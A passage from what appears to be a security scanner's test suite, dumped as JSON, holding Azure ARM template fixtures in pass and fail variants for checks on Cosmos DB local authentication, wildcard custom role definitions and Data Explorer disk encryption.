\"minimalTlsVersion\": \"Tls12\",\n                \"enableMultipleWriteLocations\": false,\n                \"capabilities\": [],\n                \"enableFreeTier\": true,\n                \"capacity\": {\n                    \"totalThroughputLimit\": 1000\n                },\n                \"keyVaultKeyUri\": \"https://examplekeyvaultjgw.vault.azure.net/keys/temp\"\n            },\n            \"tags\": {\n                \"defaultExperience\": \"[parameters('defaultExperience')]\",\n                \"hidden-cosmos-mmspecial\": \"\"\n            }\n        }\n    ],\n    \"outputs\": {}\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_CosmosDBLocalAuthDisabled/fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"metadata\": {\n    \"_generator\": {\n      \"name\": \"bicep\",\n      \"version\": \"0.12.40.16777\",\n      \"templateHash\": \"13150321745581597627\"\n    }\n  },\n  \"parameters\": {\n    \"accountName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[format('sql-{0}', toLower(uniqueString(resourceGroup().id)))]\",\n      \"metadata\": {\n        \"description\": \"Cosmos DB account name, max length 44 characters\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for the Cosmos DB account.\"\n      }\n    },\n    \"defaultConsistencyLevel\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Session\",\n      \"metadata\": {\n        \"description\": \"The default consistency level of the Cosmos DB account.\"\n      },\n      \"allowedValues\": [\n        \"Eventual\",\n        \"ConsistentPrefix\",\n        \"Session\",\n        \"BoundedStaleness\",\n        \"Strong\"\n      ]\n    },\n    \"maxStalenessPrefix\": {\n      \"type\": \"int\",\n      \"defaultValue\": 100000,\n      \"metadata\": {\n        \"description\": \"Max stale requests. Required for BoundedStaleness. Valid ranges, Single Region: 10 to 2147483647. Multi Region: 100000 to 2147483647.\"\n      },\n      \"maxValue\": 2147483647,\n      \"minValue\": 10\n    },\n    \"maxIntervalInSeconds\": {\n      \"type\": \"int\",\n      \"defaultValue\": 300,\n      \"metadata\": {\n        \"description\": \"Max lag time (minutes). Required for BoundedStaleness. Valid ranges, Single Region: 5 to 84600. Multi Region: 300 to 86400.\"\n      },\n      \"maxValue\": 86400,\n      \"minValue\": 5\n    }\n  },\n  \"variables\": {\n    \"consistencyPolicy\": {\n      \"Eventual\": {\n        \"defaultConsistencyLevel\": \"Eventual\"\n      },\n      \"ConsistentPrefix\": {\n        \"defaultConsistencyLevel\": \"ConsistentPrefix\"\n      },\n      \"Session\": {\n        \"defaultConsistencyLevel\": \"Session\"\n      },\n      \"BoundedStaleness\": {\n        \"defaultConsistencyLevel\": \"BoundedStaleness\",\n        \"maxStalenessPrefix\": \"[parameters('maxStalenessPrefix')]\",\n        \"maxIntervalInSeconds\": \"[parameters('maxIntervalInSeconds')]\"\n      },\n      \"Strong\": {\n        \"defaultConsistencyLevel\": \"Strong\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.DocumentDB/databaseAccounts\",\n      \"apiVersion\": \"2022-05-15\",\n      \"name\": \"fail\",\n      \"location\": \"[parameters('location')]\",\n      \"kind\": \"GlobalDocumentDB\",\n      \"properties\": {\n        \"databaseAccountOfferType\": \"Standard\",\n        \"consistencyPolicy\": \"[variables('consistencyPolicy')[parameters('defaultConsistencyLevel')]]\",\n        \"locations\": [\n          {\n            \"locationName\": \"[parameters('location')]\",\n            \"failoverPriority\": 0,\n            \"isZoneRedundant\": false\n          }\n        ],\n        \"capabilities\": [\n          {\n            \"name\": \"EnableServerless\"\n          }\n        ]\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_CosmosDBLocalAuthDisabled/fail1.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"metadata\": {\n    \"_generator\": {\n      \"name\": \"bicep\",\n      \"version\": \"0.12.40.16777\",\n      \"templateHash\": \"13150321745581597627\"\n    }\n  },\n  \"parameters\": {\n    \"accountName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[format('sql-{0}', toLower(uniqueString(resourceGroup().id)))]\",\n      \"metadata\": {\n        \"description\": \"Cosmos DB account name, max length 44 characters\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for the Cosmos DB account.\"\n      }\n    },\n    \"defaultConsistencyLevel\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Session\",\n      \"metadata\": {\n        \"description\": \"The default consistency level of the Cosmos DB account.\"\n      },\n      \"allowedValues\": [\n        \"Eventual\",\n        \"ConsistentPrefix\",\n        \"Session\",\n        \"BoundedStaleness\",\n        \"Strong\"\n      ]\n    },\n    \"maxStalenessPrefix\": {\n      \"type\": \"int\",\n      \"defaultValue\": 100000,\n      \"metadata\": {\n        \"description\": \"Max stale requests. Required for BoundedStaleness. Valid ranges, Single Region: 10 to 2147483647. Multi Region: 100000 to 2147483647.\"\n      },\n      \"maxValue\": 2147483647,\n      \"minValue\": 10\n    },\n    \"maxIntervalInSeconds\": {\n      \"type\": \"int\",\n      \"defaultValue\": 300,\n      \"metadata\": {\n        \"description\": \"Max lag time (minutes). Required for BoundedStaleness. Valid ranges, Single Region: 5 to 84600. Multi Region: 300 to 86400.\"\n      },\n      \"maxValue\": 86400,\n      \"minValue\": 5\n    }\n  },\n  \"variables\": {\n    \"consistencyPolicy\": {\n      \"Eventual\": {\n        \"defaultConsistencyLevel\": \"Eventual\"\n      },\n      \"ConsistentPrefix\": {\n        \"defaultConsistencyLevel\": \"ConsistentPrefix\"\n      },\n      \"Session\": {\n        \"defaultConsistencyLevel\": \"Session\"\n      },\n      \"BoundedStaleness\": {\n        \"defaultConsistencyLevel\": \"BoundedStaleness\",\n        \"maxStalenessPrefix\": \"[parameters('maxStalenessPrefix')]\",\n        \"maxIntervalInSeconds\": \"[parameters('maxIntervalInSeconds')]\"\n      },\n      \"Strong\": {\n        \"defaultConsistencyLevel\": \"Strong\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.DocumentDB/databaseAccounts\",\n      \"apiVersion\": \"2022-05-15\",\n      \"name\": \"fail1\",\n      \"location\": \"[parameters('location')]\",\n      \"kind\": \"GlobalDocumentDB\",\n      \"properties\": {\n        \"disableLocalAuth\": false,\n        \"databaseAccountOfferType\": \"Standard\",\n        \"consistencyPolicy\": \"[variables('consistencyPolicy')[parameters('defaultConsistencyLevel')]]\",\n        \"locations\": [\n          {\n            \"locationName\": \"[parameters('location')]\",\n            \"failoverPriority\": 0,\n            \"isZoneRedundant\": false\n          }\n        ],\n        \"capabilities\": [\n          {\n            \"name\": \"EnableServerless\"\n          }\n        ]\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_CosmosDBLocalAuthDisabled/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"metadata\": {\n    \"_generator\": {\n      \"name\": \"bicep\",\n      \"version\": \"0.12.40.16777\",\n      \"templateHash\": \"13150321745581597627\"\n    }\n  },\n  \"parameters\": {\n    \"accountName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[format('sql-{0}', toLower(uniqueString(resourceGroup().id)))]\",\n      \"metadata\": {\n        \"description\": \"Cosmos DB account name, max length 44 characters\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for the Cosmos DB account.\"\n      }\n    },\n    \"defaultConsistencyLevel\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Session\",\n      \"metadata\": {\n        \"description\": \"The default consistency level of the Cosmos DB account.\"\n      },\n      \"allowedValues\": [\n        \"Eventual\",\n        \"ConsistentPrefix\",\n        \"Session\",\n        \"BoundedStaleness\",\n        \"Strong\"\n      ]\n    },\n    \"maxStalenessPrefix\": {\n      \"type\": \"int\",\n      \"defaultValue\": 100000,\n      \"metadata\": {\n        \"description\": \"Max stale requests. Required for BoundedStaleness. Valid ranges, Single Region: 10 to 2147483647. Multi Region: 100000 to 2147483647.\"\n      },\n      \"maxValue\": 2147483647,\n      \"minValue\": 10\n    },\n    \"maxIntervalInSeconds\": {\n      \"type\": \"int\",\n      \"defaultValue\": 300,\n      \"metadata\": {\n        \"description\": \"Max lag time (minutes). Required for BoundedStaleness. Valid ranges, Single Region: 5 to 84600. Multi Region: 300 to 86400.\"\n      },\n      \"maxValue\": 86400,\n      \"minValue\": 5\n    }\n  },\n  \"variables\": {\n    \"consistencyPolicy\": {\n      \"Eventual\": {\n        \"defaultConsistencyLevel\": \"Eventual\"\n      },\n      \"ConsistentPrefix\": {\n        \"defaultConsistencyLevel\": \"ConsistentPrefix\"\n      },\n      \"Session\": {\n        \"defaultConsistencyLevel\": \"Session\"\n      },\n      \"BoundedStaleness\": {\n        \"defaultConsistencyLevel\": \"BoundedStaleness\",\n        \"maxStalenessPrefix\": \"[parameters('maxStalenessPrefix')]\",\n        \"maxIntervalInSeconds\": \"[parameters('maxIntervalInSeconds')]\"\n      },\n      \"Strong\": {\n        \"defaultConsistencyLevel\": \"Strong\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.DocumentDB/databaseAccounts\",\n      \"apiVersion\": \"2022-05-15\",\n      \"name\": \"pass\",\n      \"location\": \"[parameters('location')]\",\n      \"kind\": \"GlobalDocumentDB\",\n      \"properties\": {\n        \"disableLocalAuth\": true,\n        \"databaseAccountOfferType\": \"Standard\",\n        \"consistencyPolicy\": \"[variables('consistencyPolicy')[parameters('defaultConsistencyLevel')]]\",\n        \"locations\": [\n          {\n            \"locationName\": \"[parameters('location')]\",\n            \"failoverPriority\": 0,\n            \"isZoneRedundant\": false\n          }\n        ],\n        \"capabilities\": [\n          {\n            \"name\": \"EnableServerless\"\n          }\n        ]\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_CosmosDBLocalAuthDisabled/unknown.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"metadata\": {\n    \"_generator\": {\n      \"name\": \"bicep\",\n      \"version\": \"0.9.1.41621\",\n      \"templateHash\": \"17090762923867278967\"\n    }\n  },\n  \"parameters\": {\n    \"accountName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[format('sql-{0}', toLower(uniqueString(resourceGroup().id)))]\",\n      \"metadata\": {\n        \"description\": \"Cosmos DB account name, max length 44 characters\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for the Cosmos DB account.\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.DocumentDB/databaseAccounts\",\n      \"apiVersion\": \"2022-05-15\",\n      \"name\": \"unknown\",\n      \"location\": \"[parameters('location')]\",\n      \"kind\": \"MongoDB\",\n      \"properties\": {\n        \"databaseAccountOfferType\": \"Standard\",\n        \"locations\": [\n          {\n            \"locationName\": \"[parameters('location')]\"\n          }\n        ]\n      }\n    },\n    {\n      \"type\": \"Microsoft.DocumentDB/databaseAccounts\",\n      \"apiVersion\": \"2022-05-15\",\n      \"name\": \"unknown\",\n      \"kind\": \"MongoDB\",\n      \"properties\": {\n        \"databaseAccountOfferType\": \"Standard\",\n        \"consistencyPolicy\": \"[variables('consistencyPolicy')[parameters('defaultConsistencyLevel')]]\",\n        \"locations\": [\n          {\n            \"locationName\": \"[parameters('location')]\",\n            \"failoverPriority\": 0,\n            \"isZoneRedundant\": false\n          }\n        ],\n        \"capabilities\": [\n          {\n            \"name\": \"EnableServerless\"\n          }\n        ],\n        \"disableLocalAuth\": true\n      }\n    },\n    {\n      \"type\": \"Microsoft.DocumentDB/databaseAccounts\",\n      \"apiVersion\": \"2022-05-15\",\n      \"name\": \"unknown\",\n      \"location\": \"[parameters('location')]\",\n      \"kind\": \"MongoDB\",\n      \"properties\": {\n        \"databaseAccountOfferType\": \"Standard\",\n        \"consistencyPolicy\": \"[variables('consistencyPolicy')[parameters('defaultConsistencyLevel')]]\",\n        \"locations\": [\n          {\n            \"locationName\": \"[parameters('location')]\",\n            \"failoverPriority\": 0,\n            \"isZoneRedundant\": false\n          }\n        ],\n        \"capabilities\": [\n          {\n            \"name\": \"EnableServerless\"\n          }\n        ],\n        \"disableLocalAuth\": false\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_CustomRoleDefinitionSubscriptionOwner/example_customRoleDefinitionSubscriptionOwner-FAILED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2018-05-01/subscriptionDeploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"actions\": {\n      \"type\": \"array\",\n      \"defaultValue\": [\n        \"*\"\n      ],\n      \"metadata\": {\n        \"description\": \"Array of actions for the roleDefinition\"\n      }\n    },\n    \"notActions\": {\n      \"type\": \"array\",\n      \"defaultValue\": [ ],\n      \"metadata\": {\n        \"description\": \"Array of notActions for the roleDefinition\"\n      }\n    },\n    \"roleName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Custom Role - RG Reader\",\n      \"metadata\": {\n        \"description\": \"Friendly name of the role definition\"\n      }\n    },\n    \"roleDescription\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Subscription Level Deployment of a Role Definition\",\n      \"metadata\": {\n        \"description\": \"Detailed description of the role definition\"\n      }\n    }\n  },\n  \"variables\":{\n    \"roleDefName\": \"[guid(subscription().id, string(parameters('actions')), string(parameters('notActions')))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Authorization/roleDefinitions\",\n      \"apiVersion\": \"2018-07-01\",\n      \"name\": \"[variables('roleDefName')]\",\n      \"properties\": {\n        \"roleName\": \"[parameters('roleName')]\",\n        \"description\": \"[parameters('roleDescription')]\",\n        \"type\": \"customRole\",\n        \"isCustom\": true,\n        \"permissions\": [\n          {\n            \"actions\": \"[parameters('actions')]\",\n            \"notActions\": \"[parameters('notActions')]\"\n          }\n        ],\n        \"assignableScopes\": [\n          \"[subscription().id]\"\n        ]\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_CustomRoleDefinitionSubscriptionOwner/example_customRoleDefinitionSubscriptionOwner-PASSED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2018-05-01/subscriptionDeploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"actions\": {\n      \"type\": \"array\",\n      \"defaultValue\": [\n        \"Microsoft.Resources/subscriptions/resourceGroups/read\"\n      ],\n      \"metadata\": {\n        \"description\": \"Array of actions for the roleDefinition\"\n      }\n    },\n    \"notActions\": {\n      \"type\": \"array\",\n      \"defaultValue\": [ ],\n      \"metadata\": {\n        \"description\": \"Array of notActions for the roleDefinition\"\n      }\n    },\n    \"roleName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Custom Role - RG Reader\",\n      \"metadata\": {\n        \"description\": \"Friendly name of the role definition\"\n      }\n    },\n    \"roleDescription\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Subscription Level Deployment of a Role Definition\",\n      \"metadata\": {\n        \"description\": \"Detailed description of the role definition\"\n      }\n    }\n  },\n  \"variables\":{\n    \"roleDefName\": \"[guid(subscription().id, string(parameters('actions')), string(parameters('notActions')))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Authorization/roleDefinitions\",\n      \"apiVersion\": \"2018-07-01\",\n      \"name\": \"[variables('roleDefName')]\",\n      \"properties\": {\n        \"roleName\": \"[parameters('roleName')]\",\n        \"description\": \"[parameters('roleDescription')]\",\n        \"type\": \"customRole\",\n        \"isCustom\": true,\n        \"permissions\": [\n          {\n            \"actions\": \"[parameters('actions')]\",\n            \"notActions\": \"[parameters('notActions')]\"\n          }\n        ],\n        \"assignableScopes\": [\n          \"[subscription().id]\"\n        ]\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_DataExplorerUsesDiskEncryption/fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"metadata\": {\n    \"_generator\": {\n      \"name\": \"bicep\",\n      \"version\": \"0.5.6.12127\",\n      \"templateHash\": \"11556612112757819680\"\n    }\n  },\n  \"parameters\": {\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources\"\n      }\n    },\n    \"clusterName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[format('kusto{0}', uniqueString(resourceGroup().id))]\",\n      \"metadata\": {\n        \"description\": \"Name of the cluster\"\n      }\n    },\n    \"skuName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_D12_v2\",\n      \"metadata\": {\n        \"description\": \"Name of the sku\"\n      }\n    },\n    \"skuCapacity\": {\n      \"type\": \"int\",\n      \"defaultValue\": 2,\n      \"maxValue\": 1000,\n      \"minValue\": 2,\n      \"metadata\": {\n        \"description\": \"# of nodes\"\n      }\n    },\n    \"databaseName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"kustodb\",\n      \"metadata\": {\n        \"description\": \"Name of the database\"\n      }\n    },\n    \"eventHubNamespaceName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[format('eventHub{0}', uniqueString(resourceGroup().id))]\",\n      \"metadata\": {\n        \"description\": \"Name of Event Hub's namespace\"\n      }\n    },\n    \"eventHubName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"kustoHub\",\n      \"metadata\": {\n        \"description\": \"Name of Event Hub\"\n      }\n    }\n  },\n  \"variables\": {\n    \"dataReceiverId\": \"a638d3c7-ab3a-418d-83e6-5f17a39d4fde\",\n    \"fullDataReceiverId\": \"[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', variables('dataReceiverId'))]\",\n    \"eventHubRoleAssignmentName\": \"[format('{0}{1}{2}{3}', resourceGroup().id, parameters('clusterName'), variables('dataReceiverId'), parameters('eventHubName'))]\",\n    \"roleAssignmentName\": \"[guid(variables('eventHubRoleAssignmentName'), parameters('eventHubName'), variables('dataReceiverId'), parameters('clusterName'))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.EventHub/namespaces/eventhubs/consumergroups\",\n      \"apiVersion\": \"2021-11-01\",\n      \"name\": \"[format('{0}/{1}/{2}', parameters('eventHubNamespaceName'), parameters('eventHubName'), 'kustoConsumerGroup')]\",\n      \"properties\": {},\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.EventHub/namespaces/eventhubs', parameters('eventHubNamespaceName'), parameters('eventHubName'))]\"\n      ]\n    },\n    {\n      \"type\": \"Microsoft.EventHub/namespaces/eventhubs\",\n      \"apiVersion\": \"2021-11-01\",\n      \"name\": \"[format('{0}/{1}', parameters('eventHubNamespaceName'), parameters('eventHubName'))]\",\n      \"properties\": {\n        \"messageRetentionInDays\": 2,\n        \"partitionCount\": 2\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.EventHub/namespaces', parameters('eventHubNamespaceName'))]\"\n      ]\n    },\n    {\n      \"type\": \"Microsoft.Kusto/clusters/databases/scripts\",\n      \"apiVersion\": \"2022-02-01\",\n      \"name\": \"[format('{0}/{1}/{2}', parameters('clusterName'), parameters('databaseName'), 'db-script')]\",\n      \"properties\": {\n        \"scriptContent\": \"//  Create a landing table for Event Hub's events\\n.create-merge table RawEvents(document:dynamic)\\n\\n//  Create mapping from JSON ingestion to landing table\\n.create-or-alter table RawEvents ingestion json mapping 'DirectJson' '[{\\\"column\\\":\\\"document\\\",\\\"path\\\":\\\"$\\\",\\\"datatype\\\":\\\"dynamic\\\"}]'\\n\\n//  We modify the ingestion batching policy to make it easy to see records coming ingestion\\n//  THIS CONFIGURATION SHOULDN'T BE USED IN PRODUCTION:  MaximumBatchingTimeSpan SHOULD BE AT LEAST 1 MINUTE\\n.alter table RawEvents policy ingestionbatching \\\"{'MaximumBatchingTimeSpan': '0:0:10', 'MaximumNumberOfItems': 10000}\\\"\",\n        \"continueOnErrors\": false\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Kusto/clusters/databases', parameters('clusterName'), parameters('databaseName'))]\"\n      ]\n    },\n    {\n      \"type\": \"Microsoft.Kusto/clusters/databases/dataConnections\",\n      \"apiVersion\": \"2022-02-01\",\n      \"name\": \"[format('{0}/{1}/{2}', parameters('clusterName'), parameters('databaseName'), 'eventConnection')]\",\n      \"location\": \"[parameters('location')]\",\n      \"kind\": \"EventHub\",\n      \"properties\": {\n        \"compression\": \"None\",\n        \"consumerGroup\": \"kustoConsumerGroup\",\n        \"dataFormat\": \"MULTIJSON\",\n        \"eventHubResourceId\": \"[resourceId('Microsoft.EventHub/namespaces/eventhubs', parameters('eventHubNamespaceName'), parameters('eventHubName'))]\",\n        \"eventSystemProperties\": [\n          \"x-opt-enqueued-time\"\n        ],\n        \"managedIdentityResourceId\": \"[resourceId('Microsoft.Kusto/clusters', parameters('clusterName'))]\",\n        \"mappingRuleName\": \"DirectJson\",\n        \"tableName\": \"RawEvents\"\n      },\n      \"dependsOn\": [\n        \"[extensionResourceId(resourceId('Microsoft.EventHub/namespaces/eventhubs', parameters('eventHubNamespaceName'), parameters('eventHubName')), 'Microsoft.Authorization/roleAssignments', variables('roleAssignmentName'))]\",\n        \"[resourceId('Microsoft.EventHub/namespaces/eventhubs', parameters('eventHubNamespaceName'), parameters('eventHubName'))]\",\n        \"[resourceId('Microsoft.EventHub/namespaces/eventhubs/consumergroups', parameters('eventHubNamespaceName'), parameters('eventHubName'), 'kustoConsumerGroup')]\",\n        \"[resourceId('Microsoft.Kusto/clusters/databases', parameters('clusterName'), parameters('databaseName'))]\",\n        \"[resourceId('Microsoft.Kusto/clusters/databases/scripts', parameters('clusterName'), parameters('databaseName'), 'db-script')]\"\n      ]\n    },\n    {\n      \"type\": \"Microsoft.Kusto/clusters/databases\",\n      \"apiVersion\": \"2022-02-01\",\n      \"name\": \"[format('{0}/{1}', parameters('clusterName'), parameters('databaseName'))]\",\n      \"location\": \"[parameters('location')]\",\n      \"kind\": \"ReadWrite\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Kusto/clusters', parameters('clusterName'))]\"\n      ]\n    },\n    {\n      \"type\": \"Microsoft.EventHub/namespaces\",\n      \"apiVersion\": \"2021-11-01\",\n      \"name\": \"[parameters('eventHubNamespaceName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"capacity\": 1,\n        \"name\": \"Standard\",\n        \"tier\": \"Standard\"\n      },\n      \"properties\": {}\n    },\n    {\n      \"type\": \"Microsoft.Kusto/clusters\",\n      \"apiVersion\": \"2022-02-01\",\n      \"name\": \"fail\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"[parameters('skuName')]\",\n        \"tier\": \"Standard\",\n        \"capacity\": \"[parameters('skuCapacity')]\"\n      },\n      \"identity\": {\n        \"type\": \"SystemAssigned\"\n      },\n      \"properties\": {\n        \"enableDiskEncryption\":false\n      }\n    },\n    {\n      \"type\": \"Microsoft.Authorization/roleAssignments\",\n      \"apiVersion\": \"2021-04-01-preview\",\n      \"scope\": \"[format('Microsoft.EventHub/namespaces/{0}/eventhubs/{1}', parameters('eventHubNamespaceName'), parameters('eventHubName'))]\",\n      \"name\": \"[variables('roleAssignmentName')]\",\n      \"properties\": {\n        \"description\": \"Give \\\"Azure Event Hubs Data Receiver\\\" to the cluster\",\n        \"principalId\": \"[reference(resourceId('Microsoft.Kusto/clusters', parameters('clusterName')), '2022-02-01', 'full').identity.principalId]\",\n        \"principalType\": \"ServicePrincipal\",\n        \"roleDefinitionId\": \"[variables('fullDataReceiverId')]\"\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Kusto/clusters', parameters('clusterName'))]\",\n        \"[resourceId('Microsoft.EventHub/namespaces/eventhubs', parameters('eventHubNamespaceName'), parameters('eventHubName'))]\"\n      ]\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_DataExplorerUsesDiskEncryption/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"metadata\": {\n    \"_generator\": {\n      \"name\": \"bicep\",\n      \"version\": \"0.5.6.12127\",\n      \"templateHash\": \"11556612112757819680\"\n    }\n  },\n  \"parameters\": {\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources\"\n      }\n    },\n    \"clusterName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[format('kusto{0}', uniqueString(resourceGroup().id))]\",\n      \"metadata\": {\n        \"description\": \"Name of the cluster\"\n      }\n    },\n    \"skuName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_D12_v2\",\n      \"metadata\": {\n        \"description\": \"Name of the sku\"\n      }\n    },\n    \"skuCapacity\": {\n      \"type\": \"int\",\n      \"defaultValue\": 2,\n      \"maxValue\": 1000,\n      \"minValue\": 2,\n      \"metadata\": {\n        \"description\": \"# of nodes\"\n      }\n    },\n    \"databaseName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"kustodb\",\n      \"metadata\": {\n        \"description\": \"Name of the database\"\n      }\n    },\n    \"eventHubNamespaceName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[format('eventHub{0}', uniqueString(resourceGroup().id))]\",\n      \"metadata\": {\n        \"description\": \"Name of Event Hub's namespace\"\n      }\n    },\n    \"eventHubName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"kustoHub\",\n      \"metadata\": {\n        \"description\": \"Name of Event Hub\"\n      }\n    }\n  },\n  \"variables\": {\n    \"dataReceiverId\": \"a638d3c7-ab3a-418d-83e6-5f17a39d4fde\",\n    \"fullDataReceiverId\": \"[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', variables('dataReceiverId'))]\",\n    \"eventHubRoleAssignmentName\": \"[format('{0}{1}{2}{3}', resourceGroup().id, parameters('clusterName'), variables('dataReceiverId'), parameters('eventHubName'))]\",\n    \"roleAssignmentName\": \"[guid(variables('eventHubRoleAssignmentName'), parameters('eventHubName'), variables('dataReceiverId'), parameters('clusterName'))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.EventHub/namespaces/eventhubs/consumergroups\",\n      \"apiVersion\": \"2021-11-01\",\n      \"name\": \"[format('{0}/{1}/{2}', parameters('eventHubNamespaceName'), parameters('eventHubName'), 'kustoConsumerGroup')]\",\n      \"properties\": {},\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.EventHub/namespaces/eventhubs', parameters('eventHubNamespaceName'), parameters('eventHubName'))]\"\n      ]\n    },\n    {\n      \"type\": \"Microsoft.EventHub/namespaces/eventhubs\",\n      \"apiVersion\": \"2021-11-01\",\n      \"name\": \"[format('{0}/{1}', parameters('eventHubNamespaceName'), parameters('eventHubName'))]\",\n      \"properties\": {\n        \"messageRetentionInDays\": 2,\n        \"partitionCount\": 2\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.EventHub/namespaces', parameters('eventHubNamespaceName'))]\"\n      ]\n    },\n    {\n      \"type\": \"Microsoft.Kusto/clusters/databases/scripts\",\n      \"apiVersion\": \"2022-02-01\",\n      \"name\": \"[format('{0}/{1}/{2}', parameters('clusterName'), parameters('databaseName'), 'db-script')]\",\n      \"properties\": {\n        \"scriptContent\": \"//  Create a landing table for Event Hub's events\\n.create-merge table RawEvents(document:dynamic)\\n\\n//  Create mapping from JSON ingestion to landing table\\n.create-or-alter table RawEvents ingestion json mapping 'DirectJson' '[{\\\"column\\\":\\\"document\\\",\\\"path\\\":\\\"$\\\",\\\"datatype\\\":\\\"dynamic\\\"}]'\\n\\n//  We modify the ingestion batching policy to make it easy to see records coming ingestion\\n//  THIS CONFIGURATION SHOULDN'T BE USED IN PRODUCTION:  MaximumBatchingTimeSpan SHOULD BE AT LEAST 1 MINUTE\\n.alter table RawEvents policy ingestionbatching \\\"{'MaximumBatchingTimeSpan': '0:0:10', 'MaximumNumberOfItems': 10000}\\\"\",\n        \"continueOnErrors\": false\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Kusto/clusters/databases', parameters('clusterName'), parameters('databaseName'))]\"\n      ]\n    },\n    {\n      \"type\": \"Microsoft.Kusto/clusters/databases/dataConnections\",\n      \"apiVersion\": \"2022-02-01\",\n      \"name\": \"[format('{0}/{1}/{2}', parameters('clusterName'), parameters('databaseName'), 'eventConnection')]\",\n      \"location\": \"[parameters('location')]\",\n      \"kind\": \"EventHub\",\n      \"properties\": {\n        \"compression\": \"None\",\n        \"consumerGroup\": \"kustoConsumerGroup\",\n        \"dataFormat\": \"MULTIJSON\",\n        \"eventHubResourceId\": \"[resourceId('Microsoft.EventHub/namespaces/eventhubs', parameters('eventHubNamespaceName'), parameters('eventHubName'))]\",\n        \"eventSystemProperties\": [\n          \"x-opt-enqueued-time\"\n        ],\n        \"managedIdentityResourceId\": 